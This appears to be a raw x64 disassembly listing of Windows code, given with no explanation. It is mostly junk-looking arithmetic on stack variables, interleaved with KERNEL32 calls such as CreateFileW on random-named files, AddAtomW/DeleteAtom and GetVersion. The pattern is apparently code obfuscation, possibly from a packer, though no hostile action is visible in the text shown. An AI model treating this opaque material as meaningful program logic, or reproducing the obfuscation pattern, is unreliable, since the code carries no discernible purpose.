mov eax, ecx
mov rcx, qword [rsp + 0x14b68]
mov dword [rcx], eax
mov eax, dword [rsp + 0xab54]
mov ecx, dword [0x14035cbdc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13dc0]
mov dword [rcx], eax
lea rax, [rsp + 0xacb4]
mov qword [rsp + 0x159a0], rax
mov eax, dword [0x140363a70]
movzx ecx, al
mov eax, dword [rsp + 0xacd8]
sar eax, cl
mov rcx, qword [0x140363e00]
mov dword [rcx], eax
mov eax, dword [rsp + 0x63a0]
mov rcx, qword [rsp + 0x144f0]
mov qword [rsp + 0x159a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x159a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x15010]
mov dword [rcx], eax
lea rax, [rsp + 0x2c08]
mov qword [rsp + 0x159b0], rax
mov rax, qword [rsp + 0x13d78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x134f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0x2cec]
mov rcx, qword [rsp + 0x14658]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a88], ax
lea rcx, [rsp + 0x41d78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x6ec]
mov qword [rsp + 0x159b8], rax
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x14168]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14cf8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ff0]
mov dword [rsp + 0xafa4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.N5XaTn0ENhXOVB2o6_t8gWnn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x159c0], rax
movzx eax, byte [rsp + 0x594]
movzx ecx, byte [rsp + 0x70e]
add eax, ecx
mov byte [rsp + 0x1f4], al
mov rax, qword [rsp + 0x14ee8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1008]
and eax, ecx
mov word [0x140362c1c], ax
xor r9d, r9d
lea r8, [rsp + 0x133a8]
mov rdx, qword [rsp + 0x13750]
mov rcx, qword [rsp + 0x15228]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaf88], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a0], eax
mov rax, qword [rsp + 0x14958]
mov ecx, dword [rsp + 0x6304]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaebc], eax
lea rax, [rsp + 0x7908]
mov qword [rsp + 0x159c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.12mcwVmVU50lwNgQiHRipaIpz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x159d0], rax
mov eax, dword [rsp + 0xa9b0]
mov ecx, dword [rsp + 0x87e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa04], eax
lea rcx, str.YB4mE_9mY0mO_1_IY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a98], ax
mov eax, dword [rsp + 0x7078]
mov ecx, dword [rsp + 0xacb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92f0], eax
mov rax, qword [rsp + 0x146c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c7c], ax
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x159d8], rax
mov rax, qword [rsp + 0x14e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x158e0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x29e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a24], ax
mov rax, qword [rsp + 0x147e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x135f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1403535ba], al
movzx eax, word [rsp + 0x2a28]
mov word [rsp + 0x2d28], ax
mov rax, qword [rsp + 0x13e50]
movzx eax, byte [rax]
movzx ecx, byte [0x140353577]
xor eax, ecx
mov byte [rsp + 0x710], al
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x159e0], rax
mov rax, qword [rsp + 0x13a88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xab64]
shl eax, cl
mov rcx, qword [rsp + 0x153e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13320]
mov rcx, qword [rsp + 0x13690]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xacf4], eax
lea rax, [rsp + 0xae80]
mov qword [rsp + 0x159e8], rax
mov rax, qword [rsp + 0x14950]
mov rcx, qword [rsp + 0x137a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13c38]
mov dword [rcx], eax
lea rax, [0x14035cbe8]
mov qword [rsp + 0x159f0], rax
movzx eax, byte [rsp + 0x723]
mov rcx, qword [rsp + 0x15930]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d3], al
mov rax, qword [rsp + 0x13a20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x142a8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x140363cb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14cd0]
mov eax, dword [rax]
mov ecx, dword [0x14035cc50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15808]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13cb0]
mov eax, dword [rax]
mov dword [rsp + 0xafa8], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8db4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d10]
mov dword [rcx], eax
lea rax, [rsp + 0x9cbc]
mov qword [rsp + 0x159f8], rax
mov rax, qword [rsp + 0x13720]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14228]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x24b], al
mov rax, qword [rsp + 0x14558]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14738]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2098], ax
movsx eax, word [0x140362d84]
movsx ecx, word [rsp + 0x2a9c]
sub eax, ecx
mov word [rsp + 0x16c8], ax
movsx eax, byte [rsp + 0x40c]
mov rcx, qword [rsp + 0x15638]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6e8], al
lea rax, [rsp + 0xaa98]
mov qword [0x140363f70], rax
lea rax, [rsp + 0xa7d8]
mov qword [rsp + 0x15a00], rax
mov rax, qword [rsp + 0x13a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14318]
mov byte [rcx], al
lea rax, [rsp + 0x2ce4]
mov qword [rsp + 0x15a08], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.akiP95gK34j4Pk2Bt3gnD42rVus7_a9fbxzP4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15a10], rax
mov rax, qword [rsp + 0x15450]
mov ecx, dword [rsp + 0xaa7c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15368]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa9a4]
movzx ecx, al
mov eax, dword [rsp + 0xaad4]
shr eax, cl
mov rcx, qword [rsp + 0x154c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138f0]
mov eax, dword [rax]
mov dword [rsp + 0xafac], eax
mov eax, dword [rsp + 0x9860]
mov ecx, dword [0x14035cc7c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8380], eax
lea rax, [rsp + 0x701]
mov qword [rsp + 0x15a18], rax
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba0]
shl eax, cl
mov word [0x14035cc34], ax
mov eax, dword [rsp + 0x7a90]
mov ecx, dword [0x14035cc30]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7bf0], eax
mov eax, dword [rsp + 0xa904]
mov ecx, dword [rsp + 0xaf3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xae34], eax
mov eax, dword [rsp + 0xaf80]
mov ecx, dword [0x14035cc6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
movzx ecx, word [rsp + 0x2a24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c68], ax
mov rax, qword [rsp + 0x15468]
mov ecx, dword [rsp + 0xa9c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13d00]
mov dword [rcx], eax
lea rax, [rsp + 0xadf4]
mov qword [rsp + 0x15a20], rax
mov rax, qword [rsp + 0x15438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14618]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6fb], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x139d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b90]
add eax, ecx
mov word [rsp + 0x2ae8], ax
mov rax, qword [rsp + 0x156e8]
movzx eax, byte [rax]
mov byte [rsp + 0x732], al
lea rax, [0x140362f84]
mov qword [0x140363f78], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xafb0], eax
mov rax, qword [rsp + 0x13da0]
mov ecx, dword [rsp + 0xaaec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a24], eax
lea rax, [rsp + 0x86b0]
mov qword [rsp + 0x15a28], rax
mov rax, qword [rsp + 0x141e8]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e4d5]
sub eax, ecx
mov rcx, qword [rsp + 0x13e50]
mov byte [rcx], al
lea rax, [rsp + 0x2b60]
mov qword [rsp + 0x15a30], rax
mov rax, qword [rsp + 0x14db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xabf0], eax
mov rax, qword [rsp + 0x150d8]
mov rcx, qword [rsp + 0x15160]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13b28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x67e4]
mov rcx, qword [rsp + 0x14d70]
mov qword [rsp + 0x15a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa1e8], eax
mov eax, dword [rsp + 0xaf3c]
movzx ecx, al
mov eax, dword [rsp + 0x62d0]
sar eax, cl
mov dword [rsp + 0xa980], eax
mov rax, qword [rsp + 0x14018]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x732]
xor eax, ecx
mov rcx, qword [0x1403639f0]
mov byte [rcx], al
lea rax, [rsp + 0x2c7c]
mov qword [rsp + 0x15a40], rax
mov rax, qword [0x140363978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7b5c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xabfc], eax
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa884]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150d0]
mov dword [rcx], eax
lea rax, [rsp + 0x721]
mov qword [rsp + 0x15a48], rax
movsx eax, word [rsp + 0x1868]
mov rcx, qword [rsp + 0x14b30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2be8], ax
mov rax, qword [rsp + 0x13758]
movzx eax, word [rax]
mov word [rsp + 0x2d2c], ax
movzx ecx, word [rsp + 0x2a70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29d4], ax
movzx eax, byte [rsp + 0x68e]
mov rcx, qword [rsp + 0x152e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53f], al
lea rdx, [rsp + 0x45f88]
mov rcx, qword [rsp + 0x14178]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xae90], eax
mov rax, qword [0x140363c08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae88]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x154d0]
mov dword [rcx], eax
lea rax, [rsp + 0xaa18]
mov qword [0x140363f80], rax
mov eax, dword [rsp + 0xa184]
mov dword [rsp + 0xafb4], eax
mov rax, qword [rsp + 0x154c0]
mov rcx, qword [rsp + 0x14c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x154d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6fec]
mov ecx, dword [rsp + 0x6af8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ad0], eax
mov rax, qword [rsp + 0x158f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b98]
sub eax, ecx
mov word [rsp + 0x2888], ax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov byte [rsp + 0x701], al
lea rax, [rsp + 0xa8c8]
mov qword [rsp + 0x15a50], rax
mov rax, qword [rsp + 0x13470]
mov rcx, qword [rsp + 0x14168]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13c48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15838]
mov eax, dword [rax]
mov dword [rsp + 0xafb8], eax
mov eax, dword [rsp + 0xaf00]
mov dword [0x140363f6c], eax
movzx eax, byte [rsp + 0x730]
mov rcx, qword [rsp + 0x14780]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6cf], al
lea rax, [rsp + 0x21e4]
mov qword [rsp + 0x15a58], rax
mov rax, qword [0x140363af8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a9c]
xor eax, ecx
mov word [rsp + 0x2c88], ax
movsx eax, byte [rsp + 0x305]
mov rcx, qword [rsp + 0x151a8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13918]
mov byte [rcx], al
mov eax, dword [rsp + 0x8808]
movzx ecx, al
mov eax, dword [0x14035cbd8]
shr eax, cl
mov dword [rsp + 0x65ec], eax
mov rax, qword [rsp + 0x139f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa88]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaec8], eax
lea rax, [rsp + 0x279c]
mov qword [rsp + 0x15a60], rax
mov rax, qword [rsp + 0x14cf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c4]
and eax, ecx
mov rcx, qword [rsp + 0x15850]
mov byte [rcx], al
mov rax, qword [rsp + 0x14468]
mov ecx, dword [rsp + 0xac58]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140363f40], eax
mov rax, qword [0x140363d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa398]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa91c], eax
lea rax, [rsp + 0xaf34]
mov qword [rsp + 0x15a68], rax
mov rax, qword [rsp + 0x13c78]
mov rcx, qword [rsp + 0x142b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab7c], eax
movzx ecx, word [rsp + 0x2c0c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b7c], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2816
mov r9d, 0x915
mov r8d, 0x755e06cc
mov edx, 1
mov rcx, qword [rsp + 0x14c50]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaf60], eax
lea rax, [rsp + 0x2a18]
mov qword [rsp + 0x15a70], rax
mov rax, qword [rsp + 0x14ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15508]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13440]
mov byte [rcx], al
lea rcx, [0x1403310b0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d30], ax
mov rax, qword [rsp + 0x14c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9f0], eax
mov rax, qword [0x1403639d8]
mov eax, dword [rax]
mov dword [rsp + 0xafbc], eax
mov rax, qword [rsp + 0x143f0]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa8b0], eax
mov rax, qword [rsp + 0x143a0]
mov rcx, qword [rsp + 0x14438]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035cc88], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0x13be8]
mov eax, dword [rax]
mov dword [rsp + 0xafc0], eax
mov rax, qword [rsp + 0x14e70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15938]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x71a], al
mov rax, qword [rsp + 0x14d38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
sub eax, ecx
mov word [rsp + 0x2aec], ax
lea rax, [0x14035e4d4]
mov qword [rsp + 0x15a78], rax
movzx eax, word [rsp + 0x2af4]
mov rcx, qword [rsp + 0x13de0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1008], ax
mov eax, dword [rsp + 0x8664]
movzx ecx, al
mov eax, dword [rsp + 0x70c0]
shr eax, cl
mov dword [rsp + 0x814c], eax
mov eax, dword [rsp + 0x6514]
mov rcx, qword [0x140363b60]
mov qword [rsp + 0x15a80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a80]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x15470]
mov dword [rcx], eax
lea rax, [rsp + 0x5bb]
mov qword [rsp + 0x15a88], rax
lea rdx, [rsp + 0x15268]
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xab60], eax
movzx eax, word [rsp + 0x2aa4]
movzx ecx, word [rsp + 0x12b8]
or eax, ecx
mov word [0x14035cbec], ax
mov rax, qword [rsp + 0x13ec8]
mov ecx, dword [rsp + 0xaee4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x136b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15580]
mov rcx, qword [rsp + 0x139e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa950], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.1JLmYjPv9EDzsTZ6a2SbRF44sT2g
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15a90], rax
lea rax, [0x140363a64]
mov qword [rsp + 0x15a98], rax
mov eax, dword [rsp + 0xae38]
mov ecx, dword [rsp + 0x92f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa26c], eax
mov rax, qword [rsp + 0x14398]
movzx eax, byte [rax]
mov byte [rsp + 0x733], al
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ae4]
add eax, ecx
mov word [rsp + 0x2180], ax
mov rax, qword [rsp + 0x13e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9784], eax
mov rax, qword [rsp + 0x14f10]
mov ecx, dword [rsp + 0xa1e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x84a0], eax
lea rax, [rsp + 0x6f1]
mov qword [0x140363f88], rax
movsx eax, word [rsp + 0x2b04]
movsx ecx, word [rsp + 0x2ad8]
and eax, ecx
mov rcx, qword [rsp + 0x13998]
mov word [rcx], ax
lea rax, [rsp + 0x704]
mov qword [rsp + 0x15aa0], rax
mov rax, qword [rsp + 0x15a70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15378]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15a58]
mov word [rcx], ax
mov rax, qword [rsp + 0x142f0]
mov rcx, qword [rsp + 0x13330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac70], eax
movzx ecx, word [rsp + 0x2b14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cf0], ax
mov rax, qword [rsp + 0x13e88]
mov eax, dword [rax]
mov dword [rsp + 0xafc4], eax
mov rax, qword [rsp + 0x140b0]
mov ecx, dword [rsp + 0xad8c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa980], eax
mov rax, qword [rsp + 0x14c78]
mov eax, dword [rax]
mov dword [rsp + 0xafc8], eax
mov eax, dword [rsp + 0xa930]
movzx ecx, al
mov eax, dword [rsp + 0x7e54]
sar eax, cl
mov dword [rsp + 0xaf18], eax
mov rax, qword [rsp + 0x135d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
shl eax, cl
mov word [rsp + 0x1148], ax
movzx eax, byte [rsp + 0x727]
movzx ecx, byte [rsp + 0x290]
and eax, ecx
mov byte [0x14035e532], al
mov rax, qword [rsp + 0x14928]
mov rcx, qword [0x140363ed0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13408]
mov dword [rcx], eax
mov eax, dword [rsp + 0xabbc]
mov ecx, dword [rsp + 0xaea8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13478]
mov dword [rcx], eax
lea rax, [rsp + 0xac0c]
mov qword [rsp + 0x15aa8], rax
mov rax, qword [rsp + 0x13320]
mov rcx, qword [0x140363e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x67dc], eax
mov r9d, 1
lea r8, [rsp + 0x14010]
mov rdx, qword [rsp + 0x14540]
mov rcx, qword [rsp + 0x141c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xafcc], eax
lea rax, [rsp + 0x2098]
mov qword [rsp + 0x15ab0], rax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x15a78]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x71d], al
mov rax, qword [0x140363ee0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x719]
sub eax, ecx
mov rcx, qword [rsp + 0x13ab8]
mov byte [rcx], al
mov r9d, 0x2335
xor r8d, r8d
lea rdx, [rsp + 0x12f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xac38], eax
movzx eax, word [rsp + 0x2c88]
mov word [rsp + 0x2d34], ax
xor r9d, r9d
lea r8, [rsp + 0x14328]
mov rdx, qword [rsp + 0x15728]
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xafd0], eax
mov rax, qword [rsp + 0x14928]
mov ecx, dword [rsp + 0x8808]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035cc1c], eax
mov eax, dword [rsp + 0xa7d4]
mov ecx, dword [rsp + 0xab18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8fc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac24], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
mov rax, qword [rsp + 0x140a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x44a], al
mov rax, qword [rsp + 0x15a40]
movzx eax, word [rax]
mov rcx, qword [0x140363b00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14e68]
mov word [rcx], ax
mov rax, qword [rsp + 0x152b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91c0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15998]
mov dword [rcx], eax
lea rax, [rsp + 0xaaec]
mov qword [rsp + 0x15ab8], rax
mov rax, qword [0x140363ac8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b70]
sar eax, cl
mov rcx, qword [rsp + 0x15088]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137e8]
mov eax, dword [rax]
mov dword [rsp + 0xafd4], eax
movzx eax, word [rsp + 0x19f8]
movzx ecx, word [rsp + 0x14b8]
xor eax, ecx
mov rcx, qword [rsp + 0x14d18]
mov word [rcx], ax
lea rax, [0x140353582]
mov qword [0x140363f90], rax
mov rax, qword [rsp + 0x13a38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15720]
mov qword [rsp + 0x15ac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15ac0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xabd8], eax
lea rax, [rsp + 0x7ff0]
mov qword [rsp + 0x15ac8], rax
mov rax, qword [rsp + 0x157c8]
mov rcx, qword [0x140363e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x136f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15838]
mov ecx, dword [rsp + 0x8828]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7d60], eax
mov eax, dword [rsp + 0xa980]
mov ecx, dword [rsp + 0xae9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xabec], eax
lea rax, [rsp + 0x2544]
mov qword [rsp + 0x15ad0], rax
movsx eax, byte [rsp + 0x28f]
movsx ecx, byte [rsp + 0x72d]
or eax, ecx
mov rcx, qword [rsp + 0x13560]
mov byte [rcx], al
mov rax, qword [rsp + 0x154a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x153a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x728], al
movzx eax, word [0x140362c1c]
mov rcx, qword [rsp + 0x142d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140363b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x142f0]
mov eax, dword [rax]
mov dword [rsp + 0xafd8], eax
mov rax, qword [rsp + 0x146d8]
mov rcx, qword [0x140363d98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15ab0]
movzx eax, word [rax]
mov word [rsp + 0x2d38], ax
mov rax, qword [rsp + 0x15518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x44a]
add eax, ecx
mov rcx, qword [rsp + 0x15270]
mov byte [rcx], al
mov eax, dword [rsp + 0xadfc]
mov ecx, dword [rsp + 0xaa6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14538]
mov dword [rcx], eax
lea rax, [rsp + 0x6378]
mov qword [rsp + 0x15ad8], rax
mov rax, qword [rsp + 0x13df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xabc4], eax
lea rcx, [rsp + 0x41bf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x140b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d88], eax
movzx eax, word [rsp + 0x2b60]
mov word [0x14036301c], ax
movzx eax, byte [rsp + 0x1f4]
movzx ecx, byte [rsp + 0x53f]
sub eax, ecx
mov byte [rsp + 0x70b], al
mov rax, qword [rsp + 0x15980]
mov rcx, qword [0x140363c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa970], eax
mov eax, dword [rsp + 0xaf4c]
mov dword [rsp + 0xafdc], eax
movsx eax, byte [rsp + 0x33e]
mov rcx, qword [rsp + 0x14f90]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x721], al
lea rax, [rsp + 0x29d8]
mov qword [rsp + 0x15ae0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.xjMuoltEVjSpNXzBhLDIzD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15ae8], rax
